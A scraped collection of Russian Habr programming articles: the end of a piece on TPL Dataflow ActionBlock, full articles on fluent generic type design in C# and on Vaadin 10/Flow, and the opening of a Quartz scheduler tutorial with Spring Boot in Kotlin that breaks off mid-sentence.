Класс **ActionBlock** — это отличная штука, которая существенно упрощает реализацию паттерна поставщик-потребитель. Но даже в этом случае, вы должны знать о некоторых аспектах TPL Dataflow, как степень параллелизма и поведение блоков в случае переполнения.
— (\*) Данный пример не является потокобезопасным и полноценная реализация не должна использовать **actionBlock.InputCount**. А вы видите проблему?
(\*\*) Метод **Post** возвращает **false** в одном из двух случаев: очередь заполнена или уже завершена (вызван метод **Complete**). Этот аспект может затруднить использование этого метода, поскольку отличить эти два случая нельзя. Метод **SendAsync**, с другой стороны, ведет себя несколько иначе: метод возвращает объект **Task**, который будет в незавершенном состоянии пока очередь заполнена, а если же очередь уже завершена и не в состоянии принимать новые элементы, то **task.Result** будет равен **false**.
|
https://habr.com/ru/post/319208/
| null |
ru
| null |
# Fluent Generics in C#
Дженерики - мощная фича доступная во многих статически типизированных языках программирования. С их помощью можно писать код, который постоянно работает со множеством разных типов, делая упор на их общие особенности, нежели на сами типы. Они позволяют создавать гибкие и переиспользуемые компоненты без нужды в дублировании кода и жертвы безопасности типов.
Несмотря на то, что дженерики давно в C#, мне всё же удаётся найти новые интересные способы их применения. Например, в одной из моих [предыдущих статей](https://habr.com/ru/post/673448/) я написал об уловке, позволяющей добиться return type inference, что может облегчить работу с контейнерными union types.
Недавно, мне также довелось работать над кодом, использующим дженерики. Тогда передо мной встала нетипичная задача: было необходимо определить сигнатуру, где все типовые параметры опциональны и могут использоваться друг с другом в произвольных комбинациях. Первая попытка подступиться к решению заключалась в манипуляциях с перегрузками типов, однако такой подход оказался довольно непрактичным и не увлекательным.
После нескольких экспериментов, я нашёл способ решить проблему элегантно, используя подход схожий с паттерном проектирования [fluent interface](https://en.wikipedia.org/wiki/Fluent_interface), который был применён не к объектам, а к типам. Мой подход предлагает domain-specific language, который позволяет разработчику построить нужный тип за несколько логических шагов, последовательно его "конфигурируя".
В данной статье я расскажу, что из себя представляет этот подход и как его можно использовать для того, чтобы сложные обобщённые типы писать просто.
---
Fluent Interfaces
-----------------
*Fluent interface* - это популярный в ООП паттерн для построения гибких и удобных интерфейсов. Его ключевая идея лежит в построении цепочки вызовов методов для того, чтобы выразить взаимодействия через непрерывный поток человеко-читаемых инструкций.
Среди прочего, паттерн используется для упрощения операций, требующих большого количества (возможно необязательных) входных данных. Fluent interfaces дают возможность настраивать каждый отдельный аспект в отдельности друг от друга вместо ожидания всех входных параметров сразу.
В качестве примера, рассмотрим следующий код:
```
var result = RunCommand(
"git",
"/my/repository",
new Dictionary
{
["GIT\_AUTHOR\_NAME"] = "John",
["GIT\_AUTHOR\_EMAIL"] = "[email protected]"
},
"pull"
);
```
В этом сниппете вызывается метод `RunCommand`, который запускает дочерний процесс и заводит блокировку до его завершения. Такие настройки, как аргументы командной строки, рабочая папка и переменные среды передаются через входные параметры.
Несмотря на выполнение поставленной задачи, такая запись не очень то и человеко-читаема. В частности, трудно сказать, за что отвечает каждый из параметров, не залезая в документацию.
Также, поскольку большинство параметров могут быть необязательными, определение метода должно это учитывать в том числе. Существуют множество способов это сделать: перегрузки, именованные параметры, значения по умолчанию и так далее. Однако по большей части все они неуклюжи, громоздки и не оптимальны.
Наш пример можно улучшить, используя паттерн fluent interface:
```
var result = new Command("git")
.WithArguments("pull")
.WithWorkingDirectory("/my/repository")
.WithEnvironmentVariable("GIT_AUTHOR_NAME", "John")
.WithEnvironmentVariable("GIT_AUTHOR_EMAIL", "[email protected]")
.Run();
```
Таким образом разработчик может создать объект класса `Command` детально контролируя его состояние. Сначала мы указываем имя исполняемого модуля, затем используя доступные методы, свободно конфигурируем другие опции согласно надобности. Результирующее выражение не только стало заметно более читабельным, но и более гибким за счёт отказа от ограничений параметров метода в пользу паттерна fluent interface.
Определение fluent type
-----------------------
Сейчас вам может быть любопытно, какое это вообще имеет отношение к обобщённому программированию. Всё же паттерн относится к функциям, а мы пытаемся его натянуть на систему типов.
Всё же связь есть. Ключ к её пониманию - это тот факт, что дженерики есть функции для типов. Обобщённый тип можно рассматривать, как особую конструкцию высшего порядка, которая выдаёт обычный тип данных после применения к ней требуемых типовых параметров. Это аналог взаимоотношений между функциями и значениями, где функции необходимо предоставить соответствующие аргументы, чтобы получить соответствующий результат.
Иногда обобщённые типы могут страдать теми же недостатками проектирования, что и функции, по причине их схожести. Для демонстрации давайте представим, что мы разрабатываем веб фреймворк и хотим определить такой контракт `Endpoint`, который был бы ответственен за сопоставление десериализованных запросов с соответствующими объектами ответов.
Такой тип данных мог бы быть смоделирован следующим образом:
```
public abstract class Endpoint : EndpointBase
{
public abstract Task> ExecuteAsync(
TReq request,
CancellationToken token = default
);
}
```
Получили базовый обобщённый класс, который принимает типовой параметр соответствующий запросу, который должен быть отправлен, и другой типовой параметр, который соответствует ожидаемому ответу. Класс также определяет метод `ExecuteAsync`, который должен быть переопределён согласно логике конкретного эндпоинта.
Его можно использовать как фундамент для построения обработчиков разных маршрутов таким образом:
```
public class SignInRequest
{
public string Username { get; init; }
public string Password { get; init; }
}
public class SignInResponse
{
public string Token { get; init; }
}
public class SignInEndpoint : Endpoint
{
[HttpPost("auth/signin")]
public override async Task> ExecuteAsync(
SignInRequest request,
CancellationToken token = default)
{
var user = await Database.GetUserAsync(request.Username);
if (!user.CheckPassword(request.Password))
{
return Unauthorized();
}
return Ok(new SignInResponse
{
Token = user.GenerateToken()
});
}
}
```
Компилятор автоматически выводит корректную сигнатуру целевого метода при наследовании типа `Endpoint`. Очень удобно, когда тебе помогают избегать ошибок и делать структуру приложения более согласованной.
Несмотря на то, что класс `SignInEndpoint` идеально вписывается в архитектуру, не все эндпоинты обязательно имеют запрос и ответ. Например, можно придумать класс `SignUpEndpoint`, который не возвращает тело ответа, и класс `SignOutEndpoint`, не требующий каких-то данных в запросе.
Чтобы приспособить архитектуру к такого рода эндпоинтам, мы можем расширить описание типов, добавив несколько дополнительных обобщённых перегрузок:
```
public abstract class Endpoint : EndpointBase
{
public abstract Task> ExecuteAsync(
TReq request,
CancellationToken cancellationToken = default
);
}
public abstract class Endpoint : EndpointBase
{
public abstract Task ExecuteAsync(
TReq request,
CancellationToken cancellationToken = default
);
}
public abstract class Endpoint : EndpointBase
{
public abstract Task> ExecuteAsync(
CancellationToken cancellationToken = default
);
}
public abstract class Endpoint : EndpointBase
{
public abstract Task ExecuteAsync(
CancellationToken cancellationToken = default
);
}
```
Поначалу может показаться, что решение проблемы найдено. Однако, код, приведённый выше, не скомпилируется. Причина тому неоднозначность между `Endpoint` и `Endpoint`, поскольку нет возможности определить означает типовой параметр запрос или ответ.
Ровно как и с методом `RunCommand` ранее в статье существует несколько прямолинейных способов исправить ошибку, но не очень элегантных. Например, простейшим решением будет переименование типов таким образом, чтобы обозначить их предназначение и избежать коллизий:
```
public abstract class Endpoint : EndpointBase
{
public abstract Task> ExecuteAsync(
TReq request,
CancellationToken cancellationToken = default
);
}
public abstract class EndpointWithoutResponse : EndpointBase
{
public abstract Task ExecuteAsync(
TReq request,
CancellationToken cancellationToken = default
);
}
public abstract class EndpointWithoutRequest : EndpointBase
{
public abstract Task> ExecuteAsync(
CancellationToken cancellationToken = default
);
}
public abstract class Endpoint : EndpointBase
{
public abstract Task ExecuteAsync(
CancellationToken cancellationToken = default
);
}
```
Ошибка компиляции устранена, но мы получили уродливый дизайн. Из-за разного именования половины типов пользователю библиотеки придётся тратить много времени в поисках нужного. Более того, если мы представим расширение функционала библиотеки (например, добавление не асинхронных обработчиков), то станет очевидно, что такая архитектура плохо масштабируется.
Конечно, озвученные выше проблемы могут казаться надуманными и можно вообще не пытаться их решать. Однако, лично я думаю, что одна из главных целей библиотек - упростить жизнь разработчику.
К счастью, существует лучшее решение. Проводя параллели между функциями и обобщёнными типами, можно избавиться от перегрузок и заместить их подобным fluent определением:
```
public static class Endpoint
{
public static class WithRequest
{
public abstract class WithResponse
{
public abstract Task> ExecuteAsync(
TReq request,
CancellationToken cancellationToken = default
);
}
public abstract class WithoutResponse
{
public abstract Task ExecuteAsync(
TReq request,
CancellationToken cancellationToken = default
);
}
}
public static class WithoutRequest
{
public abstract class WithResponse
{
public abstract Task> ExecuteAsync(
CancellationToken cancellationToken = default
);
}
public abstract class WithoutResponse
{
public abstract Task ExecuteAsync(
CancellationToken cancellationToken = default
);
}
}
}
```
Дизайн выше сохраняет исходные четыре типа, организуя их иерархически, нежели плоским способом. Такое возможно благодаря возможности C# объявлять вложенные типы, даже если они обобщённые.
В частности, **типы содержащиеся внутри дженериков имеют доступ к типовым параметрам объявленным снаружи**. Это позволяет расположить `WithResponse` внутри `WithRequest` и использовать оба типа: и `TReq`, и `TRes`.
Функционально, оба подхода идентичны. Как бы то ни было, необычная структура, которая здесь применена, полностью устранила проблемы обнаружимости типов, предлагая при этом высокий уровень гибкости.
Теперь, если пользователь хочет реализовать эндпоинт, он может сделать это следующим образом:
```
public class MyEndpoint
: Endpoint.WithRequest.WithResponse { /\* ... \*/ }
public class MyEndpointWithoutResponse
: Endpoint.WithRequest.WithoutResponse { /\* ... \*/ }
public class MyEndpointWithoutRequest
: Endpoint.WithoutRequest.WithResponse { /\* ... \*/ }
public class MyEndpointWithoutNeither
: Endpoint.WithoutRequest.WithoutResponse { /\* ... \*/ }
```
Вот как выглядит новая версия `SignInEndpoint`:
```
public class SignInEndpoint : Endpoint
.WithRequest
.WithResponse
{
[HttpPost("auth/signin")]
public override async Task> ExecuteAsync(
SignInRequest request,
CancellationToken cancellationToken = default)
{
// ...
}
}
```
Как видно, такой подход ведёт к использованию достаточно выразительной и ясной сигнатуры. Разработчик всегда начнёт с класса `Endpoint`, комбинируя гибким и человеко-читаемым образом необходимые возможности, независимо от того, какой эндпоинт требуется реализовать.
Кроме того, такая структура фактически представляет из себя конечный автомат. Поэтому она обезопасит разработчика от случайного неправильного использования. Например, следующие попытки неправильно создать эндпоинт приведут к ошибкам компиляции:
```
// Incomplete signature
// Error: Class Endpoint is sealed
public class MyEndpoint : Endpoint { /* ... */ }
// Incomplete signature
// Error: Class Endpoint.WithRequest is sealed
public class MyEndpoint : Endpoint.WithRequest { /\* ... \*/ }
// Invalid signature
// Error: Class Endpoint.WithoutRequest.WithRequest does not exist
public class MyEndpoint : Endpoint.WithoutRequest.WithRequest { /\* ... \*/ }
```
Вывод
-----
Несмотря на неоспоримую пользу дженериков их косная природа может усложнить использование обобщённых типов в некоторых случаях. В частности, при необходимости определить сигнатуры, инкапсулирующие большое количество различных комбинаций типовых параметров, можно обратиться к перегрузкам, что влечёт за собой определённые ограничения.
В качестве альтернативного решения, можно вкладывать дженерики друг в друга, создавая иерархическую структуру, которая позволит разработчикам комбинировать их в гибкой манере. Это позволяет совместить в процессе разработки очень тонкую настройку с наилучшим удобством использования.
---
Ещё я веду telegram канал [StepOne](https://t.me/steponeit), где оставляю небольшие заметки про разработку и мир IT.
|
https://habr.com/ru/post/666244/
| null |
ru
| null |
# Vaadin Flow — диковинный олень
*Всякая перемена, даже перемена к лучшему,
всегда сопряжена с неудобствами
Ричард Хукер*
Как вы возможно знаете, Vaadin — один из самых популярных web-фреймворков на Java:
* [Java Web Frameworks Index: February 2017](https://zeroturnaround.com/rebellabs/java-web-frameworks-index-by-rebellabs/)
* [10 Best Java Web Frameworks to Use in 2018](https://javapipe.com/hosting/blog/best-java-web-frameworks/)
Совсем недавно вышел новый релиз этого фреймворка для разработки web UI — Vaadin 10. Про Vaadin 10 и Vaadin Flow пока довольно мало публикаций на русском, и этот пост призван восполнить этот пробел.
Создатели позиционируют Vaadin Flow как новый Java web-фреймворк для разработки современных web-приложений и web-сайтов (вот тут я им не совсем верю). Это часть Vaadin Platform, которая приходит на замену другому продукту — Vaadin Framework, она позволяет разрабатывать web-приложения (а если быть точным, то web UI) с применением стандарта Web Components на Java.
Тут у читателя в голове скорее всего всё уже смешалось, все эти Vaadin Bla Bla, фреймворк, платформа и прочее. Что происходит?
Мы используем Vaadin в составе своей [платформы CUBA](https://www.cuba-platform.ru/) для UI back-office систем на протяжении 7 лет и за это время накопили большой опыт работы с ним, поэтому нас не может не волновать его судьба. Под катом вы найдёте мои спекуляции на тему Vaadin 10.
Vaadin Framework
----------------
Vaadin — это финская компания, которая разрабатывает инструменты и библиотеки для разработки UI. Они же делают одноимённый фреймворк для web-разработки на Java.
Vaadin Framework — это UI фреймворк с server-side моделью программирования, в которой вся логика UI и его состояние расположены на сервере, а в браузере исполняется только код UI компонентов. По сути, это технология тонкого клиента, где браузер всего лишь отображает то, что скажет сервер, а все события отправляются на сервер.
Server-side подход позволяет забыть про то, что разработка ведется под web, и разрабатывать UI как настольное Java-приложение с непосредственным доступом к данным и сервисам на сервере. При этом Vaadin позаботится и о отображении UI в браузере, и об AJAX-взаимодействии между браузером и сервером. Движок Vaadin осуществляет рендеринг пользовательского интерфейса приложения серверной стороны в браузере и реализует все детали обмена клиента и сервера.
У этого подхода есть много плюсов:
* Java код проще писать и отлаживать
* Можно использовать существующие Java библиотеки и инструменты (IDE, компиляторы, тестирование)
* Не требуется разрабатывать веб-сервисы
* Лучше обстоят дела с безопасностью
И минусов:
* Нужно много памяти на сервере для UI представления
* Сложнее масштабировать решение
* При разработке виджетов требуется разрабатывать Java API
Исходя из этих минусов и плюсов Vaadin FW плотно поселился именно в enterprise разработке, где нагрузки предсказуемы, а скорость и простота разработки гораздо важнее стоимости железа и памяти.
Что случилось с Google Web Toolkit
----------------------------------
Всё то время, что Vaadin знаком широкой публике, клиентская часть Vaadin FW была неразрывно связана с другим известным продуктом — Google Web Toolkit (GWT). Этот тандем позволял писать сами UI компоненты и серверный API для них на одном языке — Java, что было довольно удобно.
Последние годы Google Web Toolkit не развивался, и мы с 2015 года всё ждём появления GWT 3.0 / J2CL, анонсированного на GWT.Create 2015:
* [Building a GWT 3.0 App with Java 8](https://www.youtube.com/watch?v=XJYNCohpxU0)
* [Stop calling it GWT 3.0](https://groups.google.com/forum/#!topic/google-web-toolkit-contributors/s_kX17Xs1S4)
* [The elusive J2CL](https://groups.google.com/forum/#!topic/Google-Web-Toolkit-Contributors/9Zi4-C5gpxQ)
В этот застойный период (2015-2017) случилось важное событие: появилась спецификация Web Components и другой фреймворк от Google — Polymer. Видимо, это и послужило началом конца GWT.
Стоит отметить, что GWT 3 разрабатывается как внутренний фреймворк Google и его разработка ведется внутри компании. А значит, коммьюнити никак не может влиять на процесс или хотя бы видеть, что процесс идёт.
На фоне этого застоя, команда Vaadin приняла нелёгкое решение полностью отказаться от разработки на GWT и [переписать клиентскую часть своего фреймворка](https://vaadin.com/blog/vaadin-s-frontend-direction). Эти изменения не могли пройти незамеченными и перепугали всех, кто уже разрабатывает на Vaadin.
Web Components
--------------
[Web Components](https://www.webcomponents.org) — это набор стандартов. Его предложили и активно продвигают ребята из Google, но инициативу уже поддержали в Mozilla. По сути, это технологии для создания UI компонентов для web, так, чтобы в них поддерживалась инкапсуляция поведения и представления. А главный плюс — возможность повторного использования.
Основные концепции:
* Custom Elements — API для создания своих HTML элементов
* Shadow DOM — инструмент инкапсуляции HTML компонентов и изоляция их визуального представления от глобальных правил CSS. Если коротко, то вы можете сделать компонент, например, форму заказа, и не бояться, что её стили сломаются на какой-то из страниц сайта из-за CSS правил этой страницы.
* HTML Templates — возможность размещения в HTML документе пассивных блоков, содержащих DOM элементы-заготовки. Такие блоки парсятся браузером, но не отрисовываются и не исполняют свой код. Их предлагается использовать в качестве шаблонов для рендеринга данных.
* HTML Imports — возможность импортировать HTML документ как модуль со всей его версткой, стилями и JS
Например, если сейчас заглянуть в DOM дерево YouTube, то вы обнаружите использование Custom Elements и Shadow DOM:
Все эти штуки и позволяют писать новые модные UI компоненты для web.
Тут стоит признаться, что поддержка в браузерах далека от совершенства и все еще [требуются полифилы](https://www.webcomponents.org/polyfills/), например для Edge.
Polymer
-------
[Polymer](https://www.polymer-project.org/) — это небольшая библиотека поверх стандартов Web Components, призванная упростить их использование. Пример:
```
// Импортируем существующие компоненты
import '@polymer/paper-checkbox/paper-checkbox.js';
import {PolymerElement, html} from '@polymer/polymer';
// Определяем новый класс
class LikeableElement extends PolymerElement {
// Здесь будут публичные свойства компонента
static get properties() { return { liked: Boolean }}
// Так будет выглядеть DOM дерево внутри, CSS влияет только на сам компонент
static get template() {
return html`
.response { margin-top: 10px; }
I like web components.
Web components like you, too.
`;
}
}
// Регистрируем элемент в браузере
customElements.define('likeable-element', LikeableElement);
```
По сути, Polymer делает всё то, что раньше делал GWT, но при этом он совместим с любыми JS компонентами и другими фреймворками, например, React и Angular.
Vaadin Components
-----------------
Вернёмся к Vaadin. Довольно давно компания Vaadin делает продукт под названием [Vaadin Components](https://vaadin.com/components/browse) — UI компоненты для фронтенд разработчиков, которые могут встраиваться в любые JS приложения.
Эти компоненты базируются на Web Components и Polymer!
Как мы теперь видим, это был запасной аэродром для Vaadin Framework, позволивший уйти от Google Web Toolkit и разработать новый фреймворк, для которого еще не существовало компонентов. Проблема курицы и яйца решена и Vaadin Components стали фронтендом грядущего Vaadin 10.
Vaadin Flow
-----------
Vaadin 8 включал в себя механизм синхронизации состояния UI и поддержку двустороннего RPC протокола (удаленного вызова процедур). Это было возможно благодаря GWT, поскольку общие интерфейсы и классы сервера и клиента писались на Java.
Вместе с отказом от GWT потребовалось реализовать новый механизм, который бы позволил прозрачно интегрироваться с JS фронтендом и Java бэкендом. Этим механизмом стал Vaadin Flow (а ещё это имя долгое время использовали для обозначения всего Vaadin 10).
В [документации](https://vaadin.com/docs/v10/flow/introduction/introduction-overview.html) по Flow есть такая схема:
Основной её смысл в следующем:
* поддерживается синхронизация состояния UI с сервера на клиент
* серверная часть может подписываться на события UI компонентов, при этом будет выполнен AJAX запрос
* бизнес-логика выполняется на сервере, в веб-браузер загружаются только данные, отображающиеся в UI
* серверная часть использует Java
* клиентская часть может использовать HTML, CSS, JS и шаблоны Polymer
Для меня это означает, что в Vaadin станет больше фронтенд технологий, а теперь одной Java явно недостаточно (для Vaadin 8 вам хватило бы Java и не требовались HTML/CSS). С другой стороны, теперь возможна легкая интеграция JS кода.
Vaadin Platform
---------------
Каждый компонент Vaadin 10 разрабатывается отдельно и в лучших традициях JS мира — крошечные модули, максимально независимые друг от друга. При этом клиентская часть компонентов упакована в JAR в формате WebJARs: [www.webjars.org](https://www.webjars.org/)
Это немного пугает, особенно если заглянуть в зависимости минимального проекта:
Чтобы хоть как-то управлять этим хаосом появился проект BOM (Bill of Materials) под названием [Vaadin Platform](https://github.com/vaadin/platform).
Это не какой то самостоятельный продукт, а всего лишь список совместимых версий компонентов и инструментов оформленный в формате [Maven BOM](https://maven.apache.org/guides/introduction/introduction-to-dependency-mechanism.html).
Подключается в Maven он [следующим образом](https://vaadin.com/docs/v10/flow/components/tutorial-flow-components-setup.html):
```
com.vaadin
vaadin-bom
${vaadin.platform.version}
pom
import
```
Возможности Vaadin 10
---------------------
Итого, весь фреймворк состоит из 3х составляющих:
1. Vaadin Components — фронтенд
2. Vaadin Flow — транспорт
3. Server Components API — Java API для UI компонентов
Начинать его освоение стоит с [официального туториала](https://vaadin.com/docs/v10/flow/introduction/tutorial-get-started.html).
Также, рекомендую [свежий вебинар](https://www.youtube.com/watch?v=XwdPkXePtgI).
### Starters
Более плотно познакомиться с фреймворком можно со [страницы](https://vaadin.com/start). Там вы найдёте примеры проектов, в том числе full-stack на базе Spring Boot.
Ярые поклонники Spring Boot могут проследовать прямо в [start.spring.io](http://start.spring.io/) и выбрать там Vaadin среди web-фреймворков.
Минимальный проект можно начать с одного Java класса, например:
```
// определяем URL для страницы
@Route("")
public class MainView extends VerticalLayout {
public MainView() {
// конструируем UI из компонентов
Button button = new Button("Click me");
// подписываемся на события
button.addClickListener(event -> {
new Notification("Hello!").open();
});
add(button);
}
}
```
В общем и целом, можно писать на Vaadin 10, как на Vaadin 8, НО! Нужно обязательно заглянуть [на страницу соответствия компонентов](https://vaadin.com/docs/v10/flow/migration/5-components.html).
### Element API
Киллер фича Vaadin 10 — управление элементами DOM прямо из серверного Java кода.
```
Element nameField = ElementFactory.createInput();
nameField.setAttribute("id", "nameField");
nameField.setAttribute("placeholder", "John Doe");
nameField.setAttribute("autofocus", "");
```
Также можно управлять атрибутами, которые уже проставлены:
```
// "John Doe"
String placeholder = nameField.getAttribute("placeholder");
// true
nameField.hasAttribute("autofocus");
nameField.removeAttribute("autofocus");
// ["id", "placeholder"]
nameField.getAttributeNames().toArray();
```
Конечно же, это не замена UI компонентам, но хороший API для простых изменений верстки, когда разработка UI компонентов не требуется.
### Data binding
Для работы с компонентами, реализующими интерфейс HasValue (get/set value и ValueChangeListener) есть удобный класс Binder:
```
Binder binder = new Binder<>();
TextField titleField = new TextField();
binder.forField(titleField)
.bind(
Person::getTitle,
Person::setTitle);
```
Как можно видеть из примера, поддерживается статически типизированный биндинг на базе лямбда-выражений.
Кроме того, биндинг может устанавливать конвертеры значений и валидаторы:
```
binder.forField(yearOfBirthField)
// Validator will be run with the String value of the field
.withValidator(text -> text.length() == 4,
"Doesn't look like a year")
// Converter will only be run for strings with 4 characters
.withConverter(
new StringToIntegerConverter("Must enter a number"))
// Validator will be run with the converted value
.withValidator(year -> year >= 1900 && year < 2000,
"Person must be born in the 20th century")
.bind(Person::getYearOfBirth, Person::setYearOfBirth);
```
### Templates
HTML шаблоны представляют собой вёрстку вида:
```
Say hello
[[greeting]]
class HelloWorld extends Polymer.Element {
static get is() {
return 'hello-world'
}
}
customElements.define(HelloWorld.is, HelloWorld);
```
В шаблонах поддерживается декларативный биндинг данных и можно писать нативный JavaScript, который будет исполняться в браузере as-is. Это позволяет реализовывать часть простейшей UI логики без отправки запросов на сервер.
### Events
Обработка событий компонентов [делается очень просто](https://vaadin.com/docs/v10/flow/creating-components/tutorial-component-events.html):
```
TextField textField = new TextField();
textField.addChangeListener(e -> System.out.println("Event fired"));
```
Здесь вы не заметите разницы с Vaadin 8.
### Routing
Навигация и роутинг в приложении [стали такими какими должны быть](https://vaadin.com/docs/v10/flow/routing/tutorial-routing-annotation.html):
```
@Route("some/path")
public class SomePathComponent extends Div {
public SomePathComponent() {
setText("Hello @Route!");
}
}
```
Представления могут определять какой URL они обрабатывают, какие параметры им требуются из адреса и многое другое.
### Разработка компонентов
Для Vaadin 10 можно разрабатывать компоненты следующими способами:
* Интеграция существующего Web Component: [vaadin.com/docs/v10/flow/web-components/integrating-a-web-component.html](https://vaadin.com/docs/v10/flow/web-components/integrating-a-web-component.html)
* Подключение JS кода напрямую в шаблон: [vaadin.com/docs/v10/flow/importing-dependencies/tutorial-importing.html](https://vaadin.com/docs/v10/flow/importing-dependencies/tutorial-importing.html)
* Разработка композитных компонентов из существующих:
* [vaadin.com/docs/v10/flow/creating-components/tutorial-component-composite.html](https://vaadin.com/docs/v10/flow/creating-components/tutorial-component-composite.html)
Такой прямолинейный подход в разработке custom-компонентов, пожалуй, самый большой шаг вперёд. Больше не требуется писать обёртки для JS на GWT, чтобы затем писать серверную часть на Vaadin.
### Lumo Theme
Вместо SASS для визуальных тем теперь используются [CSS Variables](https://developer.mozilla.org/ru/docs/Web/CSS/Using_CSS_variables), т.е. больше не требуется компилировать CSS при сборке проекта:
```
html {
--lumo-font-family: "Open Sans", sans-serif;
}
```
А на смену теме Valo приходит новая [настраиваемая тема Lumo](https://cdn.vaadin.com/vaadin-lumo-styles/1.0.0/demo/).
Миграция с Vaadin FW 8
----------------------
Опции миграции с Vaadin 8 описаны в документе: [vaadin.com/docs/v10/flow/migration/1-migrating-v8-v10.html](https://vaadin.com/docs/v10/flow/migration/1-migrating-v8-v10.html)
Тут у меня для вас плохая новость: если вы написали огромный проект на Vaadin 8, то вам потребуется его полностью переписать при переходе на Vaadin 10. Пути миграции нет, от слова совсем!
Vaadin 10 и Vaadin 8 похожи в нескольких аспектах:
* Server-side подход
* Java для разработки логики UI
* Одинаковый подход к биндингу данных
В сухом остатке: **Vaadin 10 это новый фреймворк написанный с нуля**.
Как обещают разработчики, [Vaadin 8 будет поддерживаться до 2022 года](https://vaadin.com/blog/the-revaadin-platform), возможно появятся подходы к миграции.
Заключение
----------
Считаю важным тот факт, что новый веб-сайт компании Vaadin написан на Vaadin Flow, что становится де-факто стандартом для фронтенд технологий, как в своё время зрелость языка программирования определялась тем, написан ли его компилятор на этом же языке.
Надеюсь, что теперь и вы сможете составить свое мнение о Vaadin 10. В целом, это неплохой фреймворк и огромный задел на будущее. Для меня же — это отличный экспериментальный полигон для новых идей и подходов к построению UI.
|
https://habr.com/ru/post/416893/
| null |
ru
| null |
# Выполняем задачи по расписанию с Quartz и Spring Boot
Представим, что нужно написать функцию, которая должна срабатывать каждый час, день, месяц и выполнять бизнесовую задачу: housekeeping базы данных, рассылку почты, расчёт метрик, составление отчетов по накопившемся данным.
При этом известно, что разрабатываемое приложение должно работать корректно при работе нескольких копий (инстансов) одновременно. Другими словами, должна сохраняться возможность горизонтального масштабирования приложения.
На мой взгляд, любой грамотный разработчик перед тем, как приступить к созданию собственного велосипеда, должен провести некоторый анализ, изучив уже существующие решения. Этим мы и займёмся.
Меня зовут Денис Шевцов, я бэкенд-разработчик в Surf. В статье расскажу, с решением каких проблем при разработке горизонтально-масштабируемых Spring Boot-приложений поможет планировщик задач Quartz, приведу примеры использования библиотеки.
### Общая концепция работы Quartz
Quartz — это библиотека с открытым исходным кодом на языке Java. Помогает реализовать выполнение функций с определенным интервалом или по расписанию.
Не считая довольно низкоуровневых механизмов, таких как классы java.util.Timer и java.util.TimerTask, ближайший аналог для Quartz — аннотация [@Scheduled](/users/Scheduled), доступная в Spring. Однако, несмотря на удобство и простоту использования, при запуске более одного инстанса приложения, содержащего эту аннотацию, могут начаться проблемы: каждая копия приложения будет вызывать функцию независимо от другой копии.
Quartz предоставляет готовое решение для этой проблемы: он использует общую базу данных. В ней сохраняется информация о джобах (JobDetail) и триггерах (Trigger), а также синхронизируется запуск задачи между планировщиками.
Чтобы понять устройство библиотеки, рассмотрим основные понятия:
* SchedulerFactory — интерфейс фабрики для создания Scheduler.
* Scheduler — основной класс библиотеки, через который происходит управление планировщиком задач.
* Job — интерфейс для создания задач с запланированным выполнением.
* JobDetail — интерфейс для создание инстансов Job.
* Trigger — интерфейс для определения расписания выполнения задач
* JobBuilder и TriggerBuilder — вспомогательные классы для создания инстансов JobDetail и Trigger.
В общем случае связь между частями библиотеки можно представить в виде схемы:
### Чем Spring Boot помогает в связке с Quartz
При работе с Quartz, Spring Boot даёт разработчику преимущества для более простого и эффективного использования библиотеки:
* Значительно упрощает настройку Scheduler — благодаря возможности указать требуемые параметры в конфигурационном файле приложения.
* Даёт возможность внедрять зависимости прямо в джобы, предоставляя для этого абстрактный класс QuartzJobBean, который реализует интерфейс Job.
### Подготовка к работе
Важные аспекты работы с библиотекой разберём на примере без лишних усложнений. Представим, что раз в час нужно выводить в консоль текущее время, а также время предыдущего срабатывания функции. [Код приложения на Github](https://github.com/shevtsov-surf/Quartz-Spring-Boot)
Не буду углубляться в настройку и запуск типичного Spring Boot приложения, подробнее об этом можно узнать в гайде [Building an Application with Spring Boot](https://spring.io/guides/gs/spring-boot/). Только отмечу, что все примеры кода буду приводить на языке Kotlin, а в качестве системы сборки воспользуюсь Gradle.
Для работы создаваемого приложения понадобятся зависимости:
```
implementation("org.springframework.boot:spring-boot-starter-jdbc")
implementation("com.h2database:h2")
implementation("org.flywaydb:flyway-core") //опционально
implementation("org.springframework.boot:spring-boot-starter-quartz")
```
Перед тем, как перейдём к написанию кода, нам понадобится схема БД со всеми таблицами, которые нужны Quartz для работы.
> *Конечно, у Quartz есть возможность работы в in-memory режиме. Но чтобы можно было синхронизировать работы планировщиков, запущенных в разных инстансах приложения, необходимо использовать внешнюю по отношению к приложению сущность. В Quartz для этого используется база данных.*
>
>
Чтобы создать нужные таблицы, я предлагаю воспользоваться официальными [миграциями БД](https://github.com/quartz-scheduler/quartz/tree/master/quartz-core/src/main/resources/org/quartz/impl/jdbcjobstore), которые можно применять с любым удобным вам инструментом. Я буду использовать библиотеку Flyway. Для этого мне необходимо создать директорию resources/bd/migration и поместить туда подходящий для выбранной БД скрипт.
### Настраиваем выполнение регулярных задач при запуске приложения
Первый шаг в создании джобы — создание классов с функциями, которые должны выполняться в соответствии с расписанием. Для этого создадим сервисный класс ShowTimeService, содержащий единственный метод showTime.
```
import org.springframework.stereotype.Service
import java.time.LocalDateTime
@Service
class ShowTimeService {
fun showTime(lastExecutionDateTime: LocalDateTime?): LocalDateTime {
println()
lastExecutionDateTime?.let {
println("Previous execution time: $it")
} ?: println("No previous executions found")
val now = LocalDateTime.now()
println("Current execution time: $now")
return now;
}
}
```
В методе выводится информация о предыдущем времени запуска, если она есть, а также выводится и возвращается текущее время.
Далее потребуется класс, наследующий от `QuartzJobBean`: в нём будем получать из специальной сущности JobDataMap информацию о предыдущем запуске джобы и вызывать метод из сервисного слоя. Класс в последующем будет использован в JobDetail, чтобы Scheduler мог работать с инстансами этой джобы.
```
import com.example.demo.service.ShowTimeService
import org.quartz.DisallowConcurrentExecution
import org.quartz.JobExecutionContext
import org.quartz.PersistJobDataAfterExecution
import org.springframework.scheduling.quartz.QuartzJobBean
import java.time.LocalDateTime
@DisallowConcurrentExecution
@PersistJobDataAfterExecution
class ShowTimeJob(
private val showTimeService: ShowTimeService
) : QuartzJobBean() {
override fun executeInternal(context: JobExecutionContext) {
val dataMap = context.jobDetail.jobDataMap
val lastExecutionDateTime = dataMap["lastExecutionDateTime"] as LocalDateTime?
dataMap["lastExecutionDateTime"] = showTimeService.showTime(lastExecutionDateTime)
}
}
```
Стоит обратить внимание на несколько важных моментов:
